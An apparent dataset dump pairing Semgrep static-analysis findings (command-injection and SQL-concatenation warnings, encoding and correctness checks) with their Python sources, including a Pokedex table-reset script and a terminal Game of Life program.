"5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-tainted-env-args_0e922a795ec58cd2_309c1538", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 225, "line_end": 225, "column_start": 17, "column_end": 71, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 225, "col": 17, "offset": 5727}, "end": {"line": 225, "col": 71, "offset": 5781}, "extra": {"message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_68b28f0a", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 271, "line_end": 271, "column_start": 21, "column_end": 87, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 271, "col": 21, "offset": 7238}, "end": {"line": 271, "col": 87, "offset": 7304}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_0590fc42", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 272, "line_end": 272, "column_start": 23, "column_end": 91, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 272, "col": 23, "offset": 7327}, "end": {"line": 272, "col": 91, "offset": 7395}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.useless-eqeq_0e922a795ec58cd2_5fde6e0a", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.useless-eqeq", "finding_type": "correctness", "severity": "low", "confidence": "medium", "message": "This expression is always True: `safetyguard == safetyguard` or `safetyguard != safetyguard`. If testing for floating point NaN, use `math.isnan(safetyguard)`, or `cmath.isnan(safetyguard)` if the number is complex.", "remediation": "", "location": {"file_path": "unknown", "line_start": 324, "line_end": 324, "column_start": 7, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.useless-eqeq", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 324, "col": 7, "offset": 9041}, "end": {"line": 324, "col": 26, "offset": 9060}, "extra": {"message": "This expression is always True: `safetyguard == safetyguard` or `safetyguard != safetyguard`. If testing for floating point NaN, use `math.isnan(safetyguard)`, or `cmath.isnan(safetyguard)` if the number is complex.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_0e922a795ec58cd2_300817bc", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 361, "line_end": 361, "column_start": 17, "column_end": 71, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 361, "col": 17, "offset": 10189}, "end": {"line": 361, "col": 71, "offset": 10243}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_0e922a795ec58cd2_c99f8fce", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 378, "line_end": 378, "column_start": 5, "column_end": 19, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 378, "col": 5, "offset": 10902}, "end": {"line": 378, "col": 19, "offset": 10916}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_887bc7e9", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 383, "line_end": 383, "column_start": 9, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 383, "col": 9, "offset": 10974}, "end": {"line": 383, "col": 30, "offset": 10995}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_1e7f2486", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 434, "line_end": 434, "column_start": 21, "column_end": 87, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 434, "col": 21, "offset": 12515}, "end": {"line": 434, "col": 87, "offset": 12581}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_0e922a795ec58cd2_143e1a60", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 448, "line_end": 448, "column_start": 15, "column_end": 75, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 448, "col": 15, "offset": 12947}, "end": {"line": 448, "col": 75, "offset": 13007}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
21
true
[ "", "", "", "CWE-78", "CWE-78", "", "CWE-78", "CWE-78" ]
[ "rules.python.lang.correctness.useless-eqeq", "rules.python.lang.correctness.useless-eqeq", "rules.python.lang.correctness.useless-eqeq", "rules.python.lang.security.audit.dangerous-system-call-audit", "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "rules.python.lang.correctnes...
[ "correctness", "correctness", "correctness", "security", "security", "correctness", "security", "security" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "LOW", "MEDIUM", "MEDIUM", "LOW", "LOW" ]
[ "LOW", "LOW", "LOW", "HIGH", "HIGH", "LOW", "HIGH", "HIGH" ]
[ 27, 29, 31, 225, 225, 324, 361, 448 ]
[ 27, 29, 31, 225, 225, 324, 361, 448 ]
[ 4, 4, 4, 17, 17, 7, 17, 15 ]
[ 20, 21, 18, 71, 71, 26, 71, 75 ]
[ "", "", "", "A01:2017 - Injection", "A01:2017 - Injection", "", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "This expression is always True: `configpath == configpath` or `configpath != configpath`. If testing for floating point NaN, use `math.isnan(configpath)`, or `cmath.isnan(configpath)` if the number is complex.", "This expression is always True: `scanstorage == scanstorage` or `scanstorage != scanstorage`. If tes...
[ 3, 3, 3, 7.5, 7.5, 3, 7.5, 7.5 ]
[ "", "", "", "LOW", "MEDIUM", "", "LOW", "LOW" ]
[ "", "", "", "HIGH", "HIGH", "", "HIGH", "HIGH" ]
btsoot.py
/btsoot.py
bbartsch/btsoot
MIT
2024-11-18T18:05:57.515247+00:00
1,468,295,893,000
c73d3e7066b96575595f2f1a6c248b401b619175
2
{ "blob_id": "c73d3e7066b96575595f2f1a6c248b401b619175", "branch_name": "refs/heads/master", "committer_date": 1468295893000, "content_id": "73ffb2feacf4cfa1afe6e30179e7ee53e40417d3", "detected_licenses": [ "MIT" ], "directory_id": "9540905f89036fe28834f6e2ada10205caa1a244", "extension": "py", "filename": "scraper_notCaught.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 484, "license": "MIT", "license_type": "permissive", "path": "/Scrapper/scraper_notCaught.py", "provenance": "stack-edu-0054.json.gz:568898", "repo_name": "narottaman/ECE-Pokedex", "revision_date": 1468295893000, "revision_id": "8804774efb55200622a0aaa25784b2ad197da2f4", "snapshot_id": "a55833f7897177e57a48732626dfec077ad3387f", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/narottaman/ECE-Pokedex/8804774efb55200622a0aaa25784b2ad197da2f4/Scrapper/scraper_notCaught.py", "visit_date": "2020-12-03T02:18:11.191112" }
2.40625
stackv2
__author__ = "Nicole" # This script should be used to fill the pokemon_caught table for the first time to indicate # that the pokemon are not caught yet. import sqlite3 conn = sqlite3.connect('..//database/pokedex.sqlite3') c = conn.cursor(); c.execute("delete from " + "pokemon_caught") c.execute("delete from " + " sqlite_sequence where name = 'pokemon_caught'") for index in range(1, 722): c.execute("INSERT INTO pokemon_caught VALUES (?,?)", (index, 0)) conn.commit()
16
29.31
92
8
126
python
[{"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_637da270d87c2137_a6284c8e", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 11, "line_end": 11, "column_start": 1, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmpb8jm_z1l/637da270d87c2137.py", "start": {"line": 11, "col": 1, "offset": 247}, "end": {"line": 11, "col": 45, "offset": 291}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_637da270d87c2137_a83a3597", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 12, "line_end": 12, "column_start": 1, "column_end": 77, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmpb8jm_z1l/637da270d87c2137.py", "start": {"line": 12, "col": 1, "offset": 292}, "end": {"line": 12, "col": 77, "offset": 368}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "CWE-89", "CWE-89" ]
[ "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
[ 11, 12 ]
[ 11, 12 ]
[ 1, 1 ]
[ 45, 77 ]
[ "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expre...
[ 7.5, 7.5 ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
scraper_notCaught.py
/Scrapper/scraper_notCaught.py
narottaman/ECE-Pokedex
MIT
2024-11-18T18:05:57.639639+00:00
1,509,542,127,000
1624c4387534dfc6bd8353d87de3cd32427f3459
3
{ "blob_id": "1624c4387534dfc6bd8353d87de3cd32427f3459", "branch_name": "refs/heads/main", "committer_date": 1509542127000, "content_id": "81e00557b4688c143b61d49af8a7268a97d5e66b", "detected_licenses": [ "BSD-2-Clause" ], "directory_id": "f9d50d72f90168aedf6981bf884b65a008774c80", "extension": "py", "filename": "life.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 107325796, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4678, "license": "BSD-2-Clause", "license_type": "permissive", "path": "/life.py", "provenance": "stack-edu-0054.json.gz:568900", "repo_name": "deathlyfrantic/games-of-life", "revision_date": 1509542127000, "revision_id": "5de013bec498512230a4015b2a54b7e9a6754c28", "snapshot_id": "b287f86af6b535e41ef5dd76627417a1eb680f98", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/deathlyfrantic/games-of-life/5de013bec498512230a4015b2a54b7e9a6754c28/life.py", "visit_date": "2023-03-16T02:07:06.866270" }
2.875
stackv2
# Copyright © 2017 Zandr Martin # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the "Software"), # to deal in the Software without restriction, including without limitation # the rights to use, copy, modify, merge, publish, distribute, sublicense, # and/or sell copies of the Software, and to permit persons to whom the # Software is furnished to do so, subject to the following conditions: # The above copyright notice and this permission notice shall be included # in all copies or substantial portions of the Software. # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES # OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. # IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, # DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, # TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE # OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. import os import random import signal import sys import time # time spent sleeping between generations UI_TICK = 0.5 # there are 1/this live cells (on average) at the start of the game. # higher numbers mean fewer live cells. INITIAL_DENSITY = 7 class Term: ESC = '\033[' cols, rows = os.get_terminal_size() def __init__(self): self.reset_cursor() def flush_print(self, text): sys.stdout.write(text) sys.stdout.flush() def esc_print(self, code): self.flush_print(self.ESC + code) def clear_screen(self): self.esc_print('2J') def reset_cursor(self): self.position_cursor(1, 1) def position_cursor(self, x, y): self.esc_print(f'{y};{x}f') def fill_cell(self): self.flush_print('█') def clear_cell(self): self.flush_print(' ') def show_cursor(self): self.esc_print('?25h') def hide_cursor(self): self.esc_print('?25l') def teardown(self): self.flush_print('\033c') class Cell: registry = {} def __init__(self, x, y, is_alive=False): self.x = x self.y = y self.is_alive = is_alive self.next_state = None Cell.registry[(self.x, self.y)] = self @property def neighbors(self): if not hasattr(self, '_neighbors'): self._neighbors = [] for x in [self.x - 1, self.x, self.x + 1]: for y in [self.y - 1, self.y, self.y + 1]: if not (x == self.x and y == self.y): try: self._neighbors.append(self.registry[(x, y)]) except KeyError: pass return self._neighbors @property def live_neighbors(self): return [n for n in self.neighbors if n.is_alive] def breed(self): if self.next_state is not None: self.is_alive = self.next_state == 'live' self.next_state = None def die(self): self.next_state = 'die' def live(self): self.next_state = 'live' def create_cells(): Cell.registry = {} for x in range(1, Term.cols + 1): for y in range(1, Term.rows + 1): Cell(x, y, is_alive=random.randint(0, INITIAL_DENSITY) == 1) def main(): term = Term() def reset_game(signal, frame): term.teardown() term.reset_cursor() Term.cols, Term.rows = os.get_terminal_size() term.clear_screen() create_cells() signal.signal(signal.SIGWINCH, reset_game) term.clear_screen() term.hide_cursor() create_cells() # rules: # live cells: # 1. 0 or 1 live neighbors: die # 2. 2 or 3 live neighbors: live # 3. 4+ live neighbors: die # dead cells: # 4. exactly 3 live neighbors: live try: while True: for cell in Cell.registry.values(): term.position_cursor(cell.x, cell.y) if cell.is_alive: if len(cell.live_neighbors) in (2, 3): cell.live() else: cell.die() term.fill_cell() else: if len(cell.live_neighbors) == 3: cell.live() term.clear_cell() time.sleep(UI_TICK) for cell in Cell.registry.values(): cell.breed() except KeyboardInterrupt: term.show_cursor() term.teardown() if __name__ == '__main__': main()
175
25.71
78
22
1,069
python
